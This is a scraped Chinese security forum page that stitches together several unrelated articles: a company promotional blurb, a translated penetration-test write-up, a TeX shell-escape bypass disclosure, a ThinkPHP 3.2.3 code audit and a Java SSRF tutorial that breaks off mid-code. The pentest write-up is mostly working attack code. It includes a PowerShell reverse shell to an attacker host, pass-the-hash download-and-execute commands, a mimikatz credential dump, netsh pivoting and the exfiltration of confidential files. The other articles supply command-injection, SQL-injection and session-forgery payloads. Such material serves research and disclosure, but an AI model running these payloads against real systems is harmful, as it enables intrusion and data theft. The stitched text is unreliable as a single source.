目前，无糖信息已有两款产品获评“网络安全技术应用试点示范项目”，多款产品获国家及行业荣誉认证。应对当前网络犯罪高发态势，无糖信息正在加快打防电信网络诈骗一体化解决方案研发，未来广泛应用后，将助力构建以公安、第三方技术支持为主体的反诈骗技术支撑服务体系，提高对电信网络诈骗的响应效率，降低诈骗犯罪率，减轻诈骗犯罪社会损失；提高刑侦办案人员的事前预警能力、情报获取能力、技术侦查能力和数据分析落地能力；有效打击和控制电信网络诈骗犯罪活动，促进社会经济和谐稳定。
没有网络安全就没有国家安全！未来，无糖信息也将始终坚守以技术驱动企业发展，以渗透攻防、前端安全、数据挖掘、移动安全、逆向工程、威胁情报、大数据、AI等技术为基础，建立打、防、管、控、研于一体的反网络犯罪智能自动化实战平台，专业对抗网络诈骗、电信诈骗、网络传销、网络色情、网络赌博、网络黑灰产等各类网络犯罪。助力公安机关实现对网络犯罪的线索发现、情报甄别、数据分析、实时预警、深度溯源、取证支撑。践行为对抗网络犯罪而生，为遏制网络犯罪而战的企业使命，加强警企联动，分担“推进网络强国建设，严厉打击网络犯罪”的大国重任，为成为最专业的反网络犯罪解决方案提供商而不懈努力。 | 社区文章 |
# 【技术分享】公司智能手机安全（二）——瞄准WSUS服务器
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：[resources.infosecinstitute.com/targeting-wsus-server/](resources.infosecinstitute.com/targeting-wsus-server/)
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[村雨其实没有雨](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
该系列第一部分，请见[ **[从APK到Golden
Ticket：初步探测]**](http://bobao.360.cn/learning/detail/3762.html)
经过扫描发现，有两台主机能够满足我们的需求，给我们发送一个稳定的远程shell。他们分别是WSUS(Windows更新服务器)和Antivirus(反病毒相关服务器)，因为这些服务必须有Internet访问权限才能更新数据库，让我们从第一个开始。
有一个有趣的问题，本地管理员的NTLM哈希是否足以访问此服务器呢？也许我们的答案是肯定的。
在一家公司，所有服务器都使用相同的本地管理员密码其实很常见。这常常与第一次创建服务器有关系（非最佳实践），第一次被创建的服务器成为了模板，于是随后部署的实例都保留了原有的管理员密码。
经过一系列大型测试，现在事情变得更复杂了，我们有以下计划：
将我们之前的Powershell脚本(r1.ps1)放到公共web服务器上
function Invoke-r1
{
$client = New-Object Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,80)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
用Tomcat的webshell上传[SMBExec(smb.ps1)](https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1)，这将允许我们[传递哈希](https://en.wikipedia.org/wiki/Pass_the_hash)进行身份验证
我们稍微修改了原始的SMBExec脚本，添加了一些行用于自动化漏洞利用。一旦被加载，它就会自动调用必要的参数连接到WSUS服务器，在我们的服务器下载反向shell到内存，然后执行
Invoke-SMBExec
-Target <SRVWSUS_IP>
-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX
-Command
“powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http://<OUR_PUBLIC_IP>/r1.ps1`’); Invoke-r1`””
这就是我们的一体化解决方案：自动执行的SMBExec，自动下载并执行的Powershell脚本
在webshell里，我们执行了smb.ps1：
cmd /c powershell -executionpolicy bypass -f c:tomcatwebappscmdwarfilessmb.ps1
Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62
这次攻击成功了，我们收到了来自SRVWSUS计算机的SYSTEM权限的Shell：
connect to <OUR_PUBLIC_IP> from <COMPANY_PUBLIC_IP> 50341
PS C:Windowssystem32> whoami
nt authoritysystem
最终还是拿到了一个连接更稳定的shell，拜拜啦Android~
但现在我们的任务也与以前不同了，我们至今也没能找到窃取机密数据的方法。
我们同样注意到了，即使以本地管理员身份启动了smb.ps1，SMBExec也会以SYSTEM权限产生进程(记得之前的whoami结果吗)。或许使用[wmiexec.ps1](https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1)——一款强大的windows
WMI接口的Powershell封装工具——会更适合下面的任务，因为它会使用传递的凭据运行远程进程。
我们再次运行mimikatz，依旧没有什么问题（我们是SYSTEM权限），这次SRVWSUS直接传递给我们了反向shell，而无需再上传文件。记住，"mymy"是我们对mimikatz混淆后的名字。
PS C:Windowssystem32>iex (New-Object Net.WebClient).DownloadString(‘http://<OUR_PUBLIC_IP>/m.ps1’); Invoke-mymy
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 749566 (00000000:000b6ffe)
Session : Interactive from 2
User Name : administrator
Domain : SUPERCOMPANY
Logon Server : SRVDC1
Logon Time : 2/17/2017 4:23:28 PM
SID : S-1-5-21-3534665177-2148510708-2241433719-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : SUPERCOMPANY
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
[00010000] CredentialKeys
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
tspkg :
wdigest :
* Username : Administrator
* Domain : SUPERCOMPANY
* Password : (null)
kerberos :
* Username : administrator
* Domain : SUPERCOMPANY.LOCAL
* Password : (null)
ssp : KO
credman :
Wow！域管理员在服务器登录过，我们拿到了域管理员的哈希，收获不小。
游戏结束了吗？并没有！客户是叫我们去窃取机密信息，可我们还没拿到任何机密文件。可是我们现在知道应该在哪搜索了，文件服务器SRVFILE1
**定位文件服务器(SRVFILE1)**
还有什么比文件服务器更适合搜索文件的地方吗？有了域管理员的密码哈希，我们已经成功了一半了。有了之前的一体化SMBExec，我们只需要把本地管理员哈希替换为域管理员哈希。
从SRVWSUS的反向shell开始，我们试着用之前相同的步骤攻击服务器，但这次失败了。经过若干次尝试之后，我们得出结论，那台服务器被配置为禁止访问互联网。
新服务器需要新的计划了，最新的计划是用我们已有的SRVWSUS shell转到SRVFILE1上
步骤如下：
使用netsh将发送到SRVWSUS 8888端口的所有流量都转到攻击者443端口
＃SRVFILE1 < - > SRVWSUS：8888 < - > ATTACKER：443
netsh interface portproxy add v4tov4 listenport = 8888 listenaddress = 0.0.0.0 connectport = 443 connectaddress = <OUR_PUBLIC_IP>
在SRVWSUS上传第二个反向shell脚本r2.ps1，在我们的web服务器上：
(New-Object Net.WebClient).DownloadFile(‘http://<OUR_PUBLIC_IP>/r2.ps1’, ‘c:tmpr2.ps1’)
r2.ps1与之前的脚本不同，因为它是连接到SRVWSUS而不是我们的公共IP
…
$client = New-Object System.Net.Sockets.TCPClient(‘’,8888)
…
* 在SRVWSUS上下载一个简单的PowerShell HTTPServer：
# http.ps1
start-job { # will execute in background
$p=”c:tmp”
$H=New-Object Net.HttpListener
$H.Prefixes.Add(“http://+:8001/”)
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add(“Content-Type”,”text/plain”)
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
启动HTTP监听并且放入后台，SRVFILE1将从这里下载我们的反向shell
PS C:tmp> .http.ps1
我们用WMIExec代替了SMBExec，从我们的网络服务器下载了SRVWSUS的wmiexec.ps1文件：
PS C:tmp> (New-Object Net.WebClient).DownloadFile(‘http://<OUR_PUBLIC_IP>/wmiexec.ps1‘, ‘c:tmpwmiexec.ps1’)
The file contained the following Invoke-WMIExec function at the end:
Invoke-WMIExec
-Target <SRVFILE1_IP> -Domain SUPERCOMPANY
-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX
-Command
“powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http://<SRVWSUS_IP>:8001/r2.ps1`’); Invoke-r2`””
运行wmiexec.ps1：
PS C:tmp> .wmiexec.ps1
Command executed with process ID 4756 on 192.168.178.195
在这个故事的末尾，我们非常“神奇”的从SRVFILE1得到了域管理员权限的shell
connect to [our-webserver] from [company-ip] 49190
PS C:Windowssystem32> whoami
supercompanyadministrator
这个图像应该有助于了解这个流程：
在我们内网漫游的最后阶段，我们只需要找到几个机密文件就好了。快速查看过硬盘之后，我们发现了一些东西：
Directory: F:FinanceReserved
Mode LastWriteTime Length Name
—- ————- —— —- -a— 9/24/2016 2:20 AM 164468 Supersecret.docx
-a— 5/29/2016 6:41 PM 12288 Balance.xlsx
…
这就是我们需要的文件！只需要把他们拿到手，就能够证明漏洞了。
高兴了五分钟之后，我们反过来问自己：该怎样拿到文件呢？首先试了试我们公网服务器的FTP，但运气不佳，对方公司的防火墙屏蔽了服务。所以我们决定通过HTTP上传。
现在该是介绍我们钟爱的PHP语言的时候了，没错，我们大爱PHP~
我们在公网web服务器上用了一个简单的上传脚本
<?php
// index.php
$pic = @$_FILES[‘pic’][‘name’];
$pic_loc = @$_FILES[‘pic’][‘tmp_name’];
echo (@move_uploaded_file($pic_loc,$pic)) ? “DONE” : “ERROR”; ?>
接下来需要的就是一个带有文件上传功能的HTTP客户端了。[
**Google一番**](http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/)，发现了一个极佳的Powershell脚本，于是上传到了SRVWSUS，命名为upload.ps1
要传送文件，就必须建立一个连接，在SRVWSUS上添加一条新的端口转发规则，这次在8889端口：
# SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80
interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=<OUR_PUBLIC_IP>
设置好之后，就在SRVFILE1下载和执行了HTTP上传脚本。请注意，文件从SRVWSUS的8889端口下载，该端口映射到了我们服务器上PHP运行的80端口。我们的443端口映射的是SRVWSUS的8888端口，反向shell从那里接收命令。
PS C:tmp>(New-Object Net.WebClient).DownloadFile(‘http://<SRVWSUS_IP>:8889/up.ps1′,’c:tmpupload.ps1’)
PS C:tmp>. .upload.ps1
PS C:tmp> invoke-upload -infile f:financereservedSupersecret.docx -uri http://<SRVWSUS_IP>:8889/
content:System.Net.Http.StreamContent
DONE
PS C:tmp> invoke-upload -infile f:financereservedbalance.xlsx -uri http://<SRVWSUS_IP>:8889/
content:System.Net.Http.StreamContent
DONE
成功将机密文件转窃取到了我们的web服务器，任务完成！
这次我们没有发现什么太大的文件，如果有的话，可以用zip压缩他们，powershell命令如下：
$src= “f:finance”
$dst= “c:tmpfiles.zip”
[Reflection.Assembly]::LoadWithPartialName(“System.IO.Compression.FileSystem”)
[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,[System.IO.Compression.CompressionLevel]::Optimal,$true) | 社区文章 |
# TeX 安全模式绕过研究
##### 译文声明
本文是翻译文章，文章原作者 360 Noah Lab，文章来源：360 Noah Lab
原文地址：[360 Noah Lab](360 Noah Lab)
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ricter Z
## 漏洞时间线：
* 2021/03/08 – 提交漏洞至 TeX 官方；
* 2021/03/27 – 漏洞修复，安全版本：TeX Live 2021；
* 2021/06/06 – 漏洞分析公开。
## I. Tex 安全限制概述
TeX 提供了 \write18 原语以执行命令。为了提高安全性，TexLive
的配置文件（texmf.cnf）提供了配置项（shell_escape、shell_escape_commands）去配置
\write18能否执行命令以及允许执行的命令列表。
其中 shell_escape 有三种配置值，分别为：
* f：不允许执行任何命令
* t：允许执行任何命令
* p：支持执行白名单内的命令（默认）
白名单命令列表可以通过如下命令查询：
kpsewhich --var-value shell_escape_commands
shell_escape 配置值可以通过如下命令查询：
kpsewhich --var-value shell_escape
~~本文涉及的 CVE 如下：没 advisory 懒得申请了。~~
## II. 挖掘思路
TeX 提供了一个默认的白名单命令列表，如若在调用过程中，这些命令出现安全问题，则会导致 TeX 本身在调用命令的时候出现相同的安全问题。
可以假设：在命令调用的过程中，由于开发者对于命令参数的不完全掌握，有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路，挖掘白名单内的命令以及白名单内命令的内部调用，并最终得到一个调用链以及相关的参数列表，依据研究人员的经验去判断是否存在安全问题。
## III. 在 *nix 下的利用方式
通过针对命令的深入挖掘，发现白名单内的 repstopdf 命令存在安全问题，通过精心构造参数可以执行任意系统命令。
repstopdf 意为 restricted epstopdf，epstopdf 是一个 Perl 开发的脚本程序，可以将 eps 文件转化为 pdf
文件。repstopdf 强制开启了 epstopdf 的 –safer 参数，同时禁用了 –gsopt/–gsopts/–gscmd 等
GhostScript 相关的危险参数，以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下：
repstopdf [options] [epsfile [pdffile.pdf]]
repstopdf 会调用 GhostScript 去生成 pdf 文件（具体调用参数可以用过 strace 命令进行跟踪），其中传入的 epsfile
参数会成为 GhostScript 的 -sOutputFile= 选项的参数。
通过查阅 GhostScript 的文档可知，GhostScript 的此项参数支持管道操作。当我们传入文件名为：|id 时，GhostScript 会执行
id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作，不受前文所提及的限制条件限制。利用方式如下所示：
repstopdf '|id #'
在 TeX 内的利用方式为：
\write18{repstopdf "|id #"}
## IV. 在 Windows 下的利用方式
Windows 平台下，白名单内存在的是 epstopdf 而非 repstopdf，且相关参数选项与 *nix 平台下不相同，但仍旧存在 –gsopt
选项。利用此选项可以控制调用 GhostScript 时的参数。
此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档，指定参数 -sOutputFile
及其他相关参数即可。利用方式为：
epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"
## V. LuaLaTeX 的安全问题
LuaLaTex 内置了 Lua 解释器，可以在编译时执行 Lua 代码，原语为：\directlua。LuaLaTeX 支持调用系统命令，但是同样地受到
shell_escape 的限制。如在受限（f）模式下，不允许执行任意命令；默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令，LuaLaTeX
同样可以利用 III、IV 内描述的方式进行利用，在此不做进一步赘述。
LuaLaTeX 的 Lua 解释器支持如下风险功能：
* 命令执行（io.popen 等函数）
* 文件操作（lfs 库函数）
* 环境变量设置（os.setenv）
* 内置了部分自研库（fontloader）
1\. 环境变量劫持导致命令执行
通过修改 PATH 环境变量，可以达到劫持白名单内命令的效果。PATH
环境变量指定了可执行文件所在位置的目录路径，当在终端或者命令行输入命令时，系统会依次查找 PATH
变量中指定的目录路径，如果该命令存在与目录中，则执行此命令（[https://en.wikipedia.org/wiki/PATH_(variable)](https://en.wikipedia.org/wiki/PATH_\(variable\)%EF%BC%89%E3%80%82)）。
将 PATH
变量修改为攻击者可控的目录，并在该目录下创建与白名单内命令同名的恶意二进制文件后，攻击者通过正常系统功能调用白名单内的命令后，可以达到任意命令执行的效果。
2\. fontloader 库安全问题
fontloader 库存在典型的命令注入问题，问题代码如下：
// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
char *dir = getenv("TMPDIR");
char buf[1500];
char *tmpfile;
if ( dir==NULL ) dir = P_tmpdir;
tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
strcpy(tmpfile,dir);
strcat(tmpfile,"/");
strcat(tmpfile,GFileNameTail(name));
*strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
if ( system(buf)==0 )
return( tmpfile );
free(tmpfile);
return( NULL );
}
12345678910111213141516171819202122
调用链为：
ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system
通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限（f）模式下执行命令。
## VI. DVI 的安全问题
DVI（Device independent file）是一种二进制文件格式，可以由 TeX 生成。在 TeX 中，可以利用 \special
原语嵌入图形。TeX 内置了 DVI 查看器，其中 *nix 平台下为 xdvi 命令，Windows 平台下通常为 YAP（Yet Another
Previewer）。
1\. xdvi 命令的安全问题
xdvi 在处理超链接时，调用了系统命令启动新的 xdvi，存在典型的命令注入问题。问题代码如下：
// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
int i = 0;
const char *argv[ARG_LEN];
char *shrink_arg = NULL;
ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");
argv[i++] = kpse_invocation_name;
argv[i++] = "-name";
argv[i++] = "xdvi";
/* start the new instance with the same debug flags as the current instance */
if (globals.debug != 0) {
argv[i++] = "-debug";
argv[i++] = resource.debug_arg;
}
if (anchor_name != NULL) {
argv[i++] = "-anchorposition";
argv[i++] = anchor_name;
}
argv[i++] = "-s";
shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
sprintf(shrink_arg, "%d", currwin.shrinkfactor);
argv[i++] = shrink_arg;
argv[i++] = filename; /* FIXME */
argv[i++] = NULL;
...
execvp(argv[0], (char **)argv);
1234567891011121314151617181920212223242526272829303132333435363738
2\. YAP 安全问题
YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript，且未开启安全模式（-dSAFER），可以直接利用内嵌的
GhostScript 进行命令执行。
## VII. 漏洞利用
TeX 底层出现安全问题时，可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。
## VIII. 参考文章
* <http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/>
* [https://mirrors.tuna.tsinghua.edu.cn/CTAN/support/epstopdf/epstopdf.man1.pdf](https://mirrors.tuna.tsinghua.edu.cn/CTAN/support/epstopdf/epstopdf.man1.pdf%EF%BC%89%EF%BC%8C%E4%BB%A5%E9%98%B2%E6%AD%A2%E5%9C%A8)
* [https://www.texfaq.org/FAQ-spawnprog](https://www.texfaq.org/FAQ-spawnprog%EF%BC%89%E3%80%82%E4%B8%BA%E4%BA%86%E6%8F%90%E9%AB%98%E5%AE%89%E5%85%A8%E6%80%A7%EF%BC%8CTexLive)
* <https://0day.work/hacking-with-latex/>
* [https://www.ghostscript.com/doc/current/Use.htm#Pipes](https://www.ghostscript.com/doc/current/Use.htm#Pipes%EF%BC%89%E3%80%82%E5%BD%93%E6%88%91%E4%BB%AC%E4%BC%A0%E5%85%A5%E6%96%87%E4%BB%B6%E5%90%8D%E4%B8%BA%EF%BC%9A)
* [https://ruxcon.org.au/assets/2017/slides/hong-ps-and-gs-ruxcon2017.pdf](https://ruxcon.org.au/assets/2017/slides/hong-ps-and-gs-ruxcon2017.pdf%EF%BC%89%E3%80%82) | 社区文章 |
* 概述
一款某单子Tp二开平台，开发者嚷嚷着要找人审计一下源码，说有预算，洞审出来之后人就没了，感觉审都审了，不做点什么不是浪费时间了，于是就发出来顺便讲一下在Tp二开情况下如何对源码进行审计，一般在拿到Tp二开的源码，首先要做的事，确认系统版本，然后利用搜索引擎寻找当前框架版本的漏洞，这次拿到手之后在确认下是Tp3.2.3的系统，其次就是查看TP的路由是默认还是说更改了,然后找到web类，对类中的代码一行一行的仔细审计，Tp3.2.3爆出的漏洞挺多的，结合前辈的各种经验，成功寻找到了开发中的雷区，这里直接贴代码。
* 任意文件包含代码执行
在Application\Home\Controller\VueController.class.php下，可以看到这里是这样写的。
但是在TP3.2.3中，这是个大问题，因为display方法会直接包含这个变量中的文件，并且在Controller.class.php中的_Call类定义了如果存在_empty方法，就会优先调用，这里methed_name就是a方法类的传值，但是如果我们另调用的a类直接为我们要包含的文件的绝对路径，那么就会直接包含掉我们所给的文件。
这里贴出详情漏洞代码
public function _empty($methed_name){
$this->display($methed_name);
exit(0);
}
我们这里可以看到，当把A设置为日志的绝对路径时，会直接包含掉这个日志，从而造成任意代码执行。
* Sql注入
在Application\Api\Controller\AreaController.class.php下，先铺上代码。
这里没有使用I方法，而是直接通过$_REQUEST['pid']去取得Pid的值，我们这里可以构造Exp表达式用于Where条件，然后对代码进行注入，也不知道是不是留的后门，前面都写了I，就这里非要用$_REQUEST['pid']去接受参数，构造pid[0]=exp&pid[1]=
and updatexml(1,concat(0x7e,(select user())),0)可以看到成功爆出来了用户名。
public function ajax() {
$pid = $_REQUEST['pid'];
$list = D('Area')->where(array('pid'=>$pid))->select();
$html = '';
foreach( $list as $k=>$v ) {
$html .= '<option value="'.$v["area_id"].'">'.$v["title"].'</option>';
}
echo $html;
}
* Session操控
在Application\Api\Controller\CodePayController.class.php中，就更离谱了，铺上代码。
这里的$key,$value值都是经过$_REQUEST传参进来的，也就是说，我们可以任意的对Session进行操控，结合判断的Check_login来看，发现只是判断Session里面是否存在值。
```php
public function setsession()
{
$key = (isset($_REQUEST['key']) && !empty($_REQUEST['key']) ) ? $_REQUEST['key'] : '';
$value = (isset($_REQUEST['value']) && !empty($_REQUEST['value']) ) ? $_REQUEST['value'] : '';
session($key,$value);
}
```php
function check_login(){
if (!empty($_SESSION['user']['id'])){
return true;
}else{
return false;
}
}
还有这里写入的，我们就可以自己构造出相应的变量，从而达到未授权登录的目的。
* 番外
其实在TP3.2.3中，还有一种情况，可以直接调用Dispaly。
当ThinkPHP\Library\Think\Controller.class.php中的Display为Public的情况下（默认为Protected），可以从前台控制器中直接调用Display造成执行任意代码，当然一般情况下遇不到，不过如果当一个后门还是挺好用的。
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}
* 总结
如果遇到TP二开的系统，确认版本，找到控制类，结合前辈们的经验，站在巨人肩膀上对其进行审计，要是类中的代码没问题，我建议尝试寻找Tp的0day（好像某个大佬手上有Tp3.2.3的代码执行）。 | 社区文章 |
## 0x00 写在前面
为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java
代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。
本系列的文章面向人群主要是 **拥有 Java 基本语法基础的朋友** ，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS
漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE
漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic
系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。
目前已完成内容如下：
【Java 代码审计入门-01】审计前的准备 <https://www.cnpanda.net/codeaudit/588.html>
【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍 <https://xz.aliyun.com/t/6872>
【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍 <https://xz.aliyun.com/t/6937>
## 0x01 前戏
下载 SSRF 测试源码：
<https://github.com/cn-panda/JavaCodeAudit>
导入项目，可以得到以下目录：
项目是一个简单模拟HTTP请求的实现。
## 0x02 漏洞原理
服务端请求伪造（Server-Side Request Forge）简称 SSRF，是OWASP
TOP之一，它是由攻击者构造的payload传给服务端，服务端执行后造成了漏洞，一般用于在外网探测或攻击内网服务。Java网络请求支持的协议很多，包括：http，https，file，ftp，mailto，jar，netdoc。如下图所示：
但是和 PHP 相比，java
中的SSRF的利用是有局限性的，实际场景中，一般利用http/https协议来探测端口、暴力穷举等，还可以利用file协议读取/下载任意文件等。
本文针对端口探测和任意文件下载/读取进行了实例说明。
### 1、端口探测
String url = request.getParameter("url");
String htmlContent;
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
BufferedReader base = new BufferedReader(new InputStreamReader(httpUrl.getInputStream(), "UTF-8"));
StringBuffer html = new StringBuffer();
while ((htmlContent = base.readLine()) != null) {
html.append(htmlContent);
}
base.close();
print.println("<b>端口探测</b></br>");
print.println("<b>url:" + url + "</b></br>");
print.println(html.toString());
print.flush();
} catch (Exception e) {
e.printStackTrace();
print.println("ERROR!");
print.flush();
}
以上代码大致意义如下：
* URL对象用`openconnection()`打开连接，获得URLConnection类对象。
* 用`InputStream()`获取字节流
* 然后`InputStreamReader()`将字节流转化成字符流
* `BufferedReader()`将字符流以缓存形式输出的方式来快速获取网络数据流
* 最终一行一行的输入到 html 变量中，输出到浏览器
代码的主要功能即是模拟一个 http 请求，如果没有对请求地址进行限制和过滤，即可以利用来进行 SSRF 攻击。
本机环境如下：
地址：127.0.0.1
环境： java+tomcat
虚拟机环境如下：
地址：192.168.159.134
环境：php+apache
假设外网可以访问本机地址，但不能访问虚拟机地址。
以上，因为本机地址存在 SSRF 漏洞，那么久可以利用该漏洞去探测虚拟机开放的端口，如下图所示：
如果该端口没有开放 http/https 协议，那么返回：
根据不同的返回结果，就可以判断开放的 http/https 端口
### 2、任意文件读取/下载
我们将上述代码删除一行，如下：
String url = request.getParameter("url");
String htmlContent;
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
StringBuffer html = new StringBuffer();
while ((htmlContent = base.readLine()) != null) {
html.append(htmlContent);
}
base.close();
print.println(html.toString());
print.flush();
} catch (Exception e) {
e.printStackTrace();
print.println("ERROR!");
print.flush();
}
`HttpURLconnection()`是基于http协议的，而我们要用的是 `file` 协议，删除后即可利用`file`协议去读取任意文件
，如下图所示：
如果我们知道了网站的路径，可以直接读取其数据库连接的相关信息：
任意文件下载同理，只不过是将数据流写入到了文件中，如下代码：
String downLoadImgFileName = "SsrfFileDownTest.txt";
InputStream inputStream = null;
OutputStream outputStream = null;
String url = req.getParameter("url");
try {
resp.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
URL file = new URL(url);
byte[] bytes = new byte[1024];
inputStream = file.openStream();
outputStream = resp.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}
}
将获取的内容写入到`SsrfFileDownTest.txt`文件中，测试如下：
## 0x03 修复方案
实际场景中可能出现 SSRF 的功能点有很多,比如获取远程 URL
图片、webmail收取其他邮箱邮件、从远程服务器请求资源等等，针对这些问题，可以进行过滤判断，设置白名单等，相关策略如下：
* 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
* 限制请求的端口为http常用的端口，比如，80,443,8080,8090等。
* 禁用不需要的协议，仅仅允许http和https请求。
* 根据业务需求，判定所需的域名是否是常用的几个，若是，将这几个特定的域名加入到白名单，拒绝白名单域名之外的请求。
* 根据请求来源，判定请求地址是否是固定请求来源，若是，将这几个特定的域名/IP加入到白名单，拒绝白名单域名/IP之外的请求。
* 若业务需求和请求来源并非固定，那么可以自己写一个 ssrfCheck 函数，如：<https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/SSRFChecker.java>
## 0x04 实际案例（CVE-2019-9827）分析
### 1、案例介绍
CVE 地址：<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827>
Hawtio是用于管理Java应用程序的轻型模块化Web控制台。Hawt Hawtio小于2.5.0版本都容易受到SSRF的攻击，远程攻击者可以通过
/proxy/地址发送特定的字符串，可以影响服务器到任意主机的HTTP请求。
### 2、案例搭建
首先进入搭建好的 tomcat 首页，输入账号密码进入manage app 管理界面（需要提前设置账号密码，具体可以百度，此处不再赘述）：
然后选择`WAR file to deply`栏目，点击选择`hawtio-default-2.5.0.war`上传，最后deplay即可：
布置以后，上方会出现布置好的应用，点击应用进入即可。
### 3、案例漏洞分析
可以通过反编译获取本程序的源码，或者通过 github 的 tree 分支来获取源码。
通过反编译`hawtio-system-2.5.0.jar`包找到相关文件：`hawtio-system/src/main/java/io/hawt/web/proxy/ProxyServlet.java`
进入`service`函数
protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse)
throws ServletException, IOException {
// Make the Request
//note: we won't transfer the protocol version because I'm not sure it would truly be compatible
ProxyAddress proxyAddress = parseProxyAddress(servletRequest);
if (proxyAddress == null || proxyAddress.getFullProxyUrl() == null) {
servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
// TODO Implement whitelist protection for Kubernetes services as well
if (proxyAddress instanceof ProxyDetails) {
ProxyDetails details = (ProxyDetails) proxyAddress;
if (!whitelist.isAllowed(details)) {
LOG.debug("Rejecting {}", proxyAddress);
ServletHelpers.doForbidden(servletResponse, ForbiddenReason.HOST_NOT_ALLOWED);
return;
}
}
通过`parseProxyAddress`函数获取 URL 地址,然后判断其是否为空,如果不为空,通过`whitelist.isAllowed()`判断该
URL 是否在白名单里，跟进 `whitelist`：
public ProxyWhitelist(String whitelistStr, boolean probeLocal) {
if (Strings.isBlank(whitelistStr)) {
whitelist = new CopyOnWriteArraySet<>();
regexWhitelist = Collections.emptyList();
} else {
whitelist = new CopyOnWriteArraySet<>(filterRegex(Strings.split(whitelistStr, ",")));
regexWhitelist = buildRegexWhitelist(Strings.split(whitelistStr, ","));
}
if (probeLocal) {
LOG.info("Probing local addresses ...");
initialiseWhitelist();
} else {
LOG.info("Probing local addresses disabled");
whitelist.add("localhost");
whitelist.add("127.0.0.1");
}
